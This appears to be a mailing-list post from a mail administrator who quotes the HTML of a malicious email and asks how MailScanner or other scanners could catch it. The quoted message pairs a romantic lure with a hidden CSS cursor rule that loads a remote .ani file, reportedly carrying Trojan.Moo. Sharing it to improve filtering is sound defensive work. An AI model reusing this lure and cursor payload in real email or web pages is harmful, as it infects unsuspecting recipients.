Here's the HTML source for a message that had a virus in it...

Hey Love<br>I reserved us a place at huoston's tonight.<br>starting to be
hungry already, for you!!<br>Bob
<br><br><br><br>
<style>* {CURSOR: url("http://banukultepe.sitemynet.com/m89.ani")}</style>

When the CURSOR is retrieved it has Trojan.Moo in it according to NAV.

MailScanner did not catch this.

Should there be a disarm URLs in style sheets setting in MailScanner?

Does anyone know of a virus scanner that checks URLs in email as well? I
thought Clam was doing this.

Thanks,

Derek
